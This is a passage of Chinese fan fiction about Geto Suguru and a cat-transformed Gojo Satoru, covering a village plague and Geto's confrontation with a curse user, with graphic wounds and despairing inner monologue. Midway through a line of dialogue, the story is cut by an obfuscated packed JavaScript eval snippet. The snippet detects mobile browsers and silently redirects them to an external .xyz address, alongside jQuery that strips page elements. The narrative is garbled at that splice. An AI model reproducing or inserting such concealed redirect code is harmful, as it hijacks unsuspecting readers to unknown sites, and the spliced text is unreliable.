想起昨夜的梦,夏油杰看了眼猫,指尖滑动,按下接听键。
“嗯,忘了说,你进不来。”
“领养……”
五条悟从猫碗里抬起头,直愣愣竖起耳朵。
什么领养?
惠找的那个领养么?
啊。
杰要把他送走了。
“帮我道个歉……”
看,果然啊!
五条悟神情悲凉,蔫了吧唧垂着漂亮的眼,唇角瘪着。
“不送出去了。”
“我养着。”
唉……
哎?
什么!
五条悟不可置信地抬头看向神情淡漠的夏油杰,差点以为自己耳朵坏了。
没听错吧?杰要养他!
“嗯……是麻烦了点儿,但是……挺好的。”夏油杰蹲下摸了摸五条咪的头,表情柔和了些。
好!非常好!
梦境应验了!
五条悟高兴地蹭着夏油杰宽厚的手掌,喵喵喵喊个不停,毛绒绒的尾巴翘得老高。
夏油杰挂了电话,捏了捏小白猫赖赖唧唧的脸,唇角溢出一个笑:“听懂了?”
下巴被强有劲的手桎梏住,脸上酥酥麻麻的,像经过一阵阵小电流。
五条悟又想起梦里那双骨节修长、根根分明的手。
健康的肤色,凸起的青色血管,修剪利落的甲床,指腹上淡淡的薄茧,还有……肌肤相贴的战栗……
嘶……
怪不得杰这么受女孩子喜欢。
那叫什么,对,性张力。
性张力还挺足。
吃过饭,美惠子抱着五条悟去村长家门口凑热闹,夏油杰又去了隔离区。
小洋楼前面挤满要说法的人,房子的门紧紧关着,窗户也被窗帘遮得严严实实。
美惠子坐在旁边的小台阶上,一下又一下顺着五条咪的毛。
“村长真是个大坏蛋,这么多人聚在一起感染了可咋办呀。”她脸蛋皱巴巴的,有些发愁。
昨天被田中启介忽悠去隔离区的青年家属们悲痛地坐在大门口的位置,心疼得能呕出血来。
“丧尽天良的东西!怎么能这么害人啊!呜呜呜呜……”
“我儿可怜啊!一腔热血就这样被糟践!田中启介你还是不是个人!”
“我儿子才十八岁啊!明年就能去京都上大学了!他到死也没出过新关啊……”
田中启介门前被扔满鸡蛋菜叶和垃圾,可里面的人无动于衷,自从事情暴露后他连面也没漏过,更别说道歉了。
美惠子眼眶里酝酿出一些泪,她伸出手臂抹了抹:“好可怜,就像我死了奶奶一定会很伤心一样,叔叔阿姨一定很疼。”
“我要是死了……我爸爸……我爸爸可能也会有点难过,所以我不要死,我要好好活着,去东京上学。”
会的。
五条悟认真看着美惠子。
一定会的。
“你是不是又喝酒的时候跟人吹牛了!我说了多少遍这件事天知地知你知我知!你为什么就是不听?!”田中启介手气得发抖,真想把田中一郎大卸八块!
“我没有……”田中一郎苦着脸,“真的不是我。”
“不是你难道是我?!”
“我不是这个意思……”
“我不管!你赶紧把门口这些哭丧的给我弄走!不然那些钱我让你拿不安稳!”
田中启介猛地挂断电话,坐在凳子上平复了一会儿不断起伏的胸膛,指了指旁边搂着女儿的妻子:“去,出去说我不在家,让他们走。”
妻子有些犹豫:“人那么多……”
“少废话!让你去你就去!”
妻子沉默半晌,搂着女儿低着头走出去了,田中启介揉着太阳穴思考对策,手机铃声忽然响了起来。
他蹙眉,看着屏幕上的未知号码,小心翼翼按了接听键。
“是我。”堂本健太抓着手机打开免提,冷笑着看向对面的夏油杰。
田中启介火大:“谁啊?打什么哑巴谜!”
他拿开手机准备挂了电话,听筒里却又传出声音来。
“我是堂本健太。”
田中启介一愣,挂电话的手滞住,脸上浮现一丝戒备,语气却嘲弄起来:“呦,我当是谁呢,这不是刚出狱的杀人犯吗。”
堂本健太哼笑:“我是杀人犯,那你是什么?田中启介,很多事情你不说,不代表别人不知道。”
“你想说什么?你要干什么!家都不敢回,你有什么资格跟我叫板?”
“别着急啊,我没别的意思。田中村长出不了门,我心疼得很呐……”
“……你什么意思?”
“我倒是有个办法,能解决你现在的困境。”
田中启介不相信地眯了眯眼:“什么?”
“捉人,放血。”
电话挂断,堂本健太摘下帽子,看向对面单膝跪地神色却依旧从容的夏油杰,勾出一个浅浅的笑:“夏油君是怎么发现的?”
夏油杰忍痛冷笑,啐出一口嫣红的血:“傻子都能猜到。”
他扫了眼堂本健太无名指处的戒指,思绪活络起来。
那枚戒指恐怕就是这场疫病的根源,同时也是堂本健太的咒具。
堂本健太只是一个普通人,并没有咒力,那戒指是谁给他的?
庙里那尊佛像,还是另有其人?
“什么时候起的疑心?”
“一开始,偷车。”
“偷车?偷车怎么了?”
“两个走投无路刚出狱的人,偷车去卖看起来很合理。可问题是,既然是偷的车,为什么你们会堂而皇之经过村口,走那条车来车往的大路。”
堂本健太表情一怔:“为什么?”
“因为你知道美惠子在那儿,她会阻止你卖车,也会给我道歉赔偿,这样一来,你就有了监视我行动的机会。”
堂本健太脸色猛地一变,似乎刚刚想通什么似的。
“怎么?”夏油杰忽然笑起来,“别说你是被利用的,这些通通都不知道啊。”
“闭嘴!”堂本健太控制不住地大吼。
“是,都是我做的,但是那又怎样?村子里的人都该死!他们是冷血动物!我是地狱来的审判官,为民除害、替天行道又有什么错?”
“生长疫,一夜苍老,爆体而亡。这是拯救,不是杀戮,神给我这样的能力就是让我拯救他们的!那些人肮脏、冷血!身上都是罪业!根本不配为人,我杀了他们让他们早日进入轮回,有什么错?”
是啊,有什么错。
夏油杰眉眼冷淡扫他一眼,手指稍微一动,胸口的贯穿伤就剧烈疼痛起来。
嘴唇没了血色,他拧眉想要召唤出咒灵进攻,却冷不丁吐出一口鲜血,脸色也变得更加苍白。
刚才没设防冷不丁被偷袭一下,胸口被合体的特级干尸咒灵掏了一个洞。
像被红色颜料泼了一身,血肉模糊的伤口紧紧粘连着布料,胸口稍一起伏,便扯得那处像是被强力胶粘住又硬生生扯下似的,疼得难以呼吸。
周围的肌肤还攀爬上一些绿色藤蔓,让他很难使出咒力。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299373|182745||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
挣扎?没用的。”堂本健太慢慢冷静下来,手指抬起挥了挥。
“越挣扎死的就越快。”
“看看你的脸吧,怎么?真以为自己天下无敌?”
夏油杰抬头看着他,不明所以,却还是强忍着剧痛慢慢抬起手,费力地在脸上摸了摸。
没有伤口也没有血。
他指尖轻轻浮动,从下巴摸到嘴唇,又从嘴唇摸到眼睛,然后忽地滞住。
皱纹。
他脸上,有了皱纹?
眉毛深深拧起来,眼角处堆积的纹路让他胸口剧烈起伏,血管里瘙痒难耐。凸起的青色血管轻轻鼓动,似乎爬过一只只细小的蛊虫。
夏油杰瞳孔收缩,眼球里血丝遍布,痛不欲生。
堂本健太俯视着他:
“你想救他们?”
“可他们想榨干你的血。”
“不可笑吗?”
夏油杰松开摸脸的手,抬眼看他,止住颤抖的嘴唇,用尽全身力气吐出一句话:“所以,你……想干什么?”
“我想干什么?”
“刚才的电话你也听到了。田中启介为了自保,要抓你放血。”
“你觉得那些人会不会割你的肉、喝你的血?”
堂本健太眼眶猩红,语气越来越激烈:“会的!他们一定会的!你是谁?你从哪儿来来干什么他们不在乎!他们只在乎你能给他们带来什么价值!”
他眼角掠过一滴泪,顺着脸颊流到下巴,深褐色的眼眸却一眨也不眨:“人性如此,自以为是的救世主才是最天真的。”
救世主?
夏油杰真有些想笑。
谁规定救世主救的是人了。
臭猴子,肮脏又丑陋,死了最好。
想喝他的血?好啊,那就一起死。
血管犹如被成群结队的虫蚁细细啃咬,疼痛蔓延全身,夏油杰挺直身子,问出心底的疑惑:“我为什么会得生长疫?”
堂本健太抬手擦掉未干的泪痕:“你的术式的确很厉害,无上限地收服咒灵,可偏偏有人是你的天敌。”
夏油杰蹙眉,捕捉到关键信息。
有人?肯定不是堂本健太,那会是谁?
“你吃的干尸咒灵越多,身体里的蛊虫就越多。”
“刚才的袭击,是最后的引子。”
“你咒力越强,它伤害就越大。”
夏油杰静静听完,垂眸看着手背上越来越深的绿色藤蔓纹路,视线变得有些模糊,眼前的一切都颠倒过来。
他有些想笑。
身体成为累赘,喘气越来越重,耳膜轰鸣,唇角溢出血液。
活着,真没意思。
可昏迷前一秒,脑海里却忽然闪过一个不属于他的记忆。
五条悟。
他的挚友。
他的挚爱。
高大的身体被拦腰截开,漂亮的眸子空洞洞地看着天,一动不动。
那么漂亮、那么活泼的一个人,失去所有生机,静静躺在地上,像是一个被丢弃的破布娃娃。
说不上来是什么感受,怒火中烧,从脊梁骨开始漫上一股寒意,心里叫嚣着不可能、不可信,夏油杰布满皱纹的眼角却落下一行泪。
心尖处被硬生生剜下一块肉,千疮百孔的痛蔓延全身。
他不敢去想,更难以去想。
得多疼,得多苦。
因为只是想一想,心口就痛得无以复加,怒火也犹如地狱真火,迅速从胸腔燃烧起来。
不行。
他想,还不能死。
悟一定会不高兴的。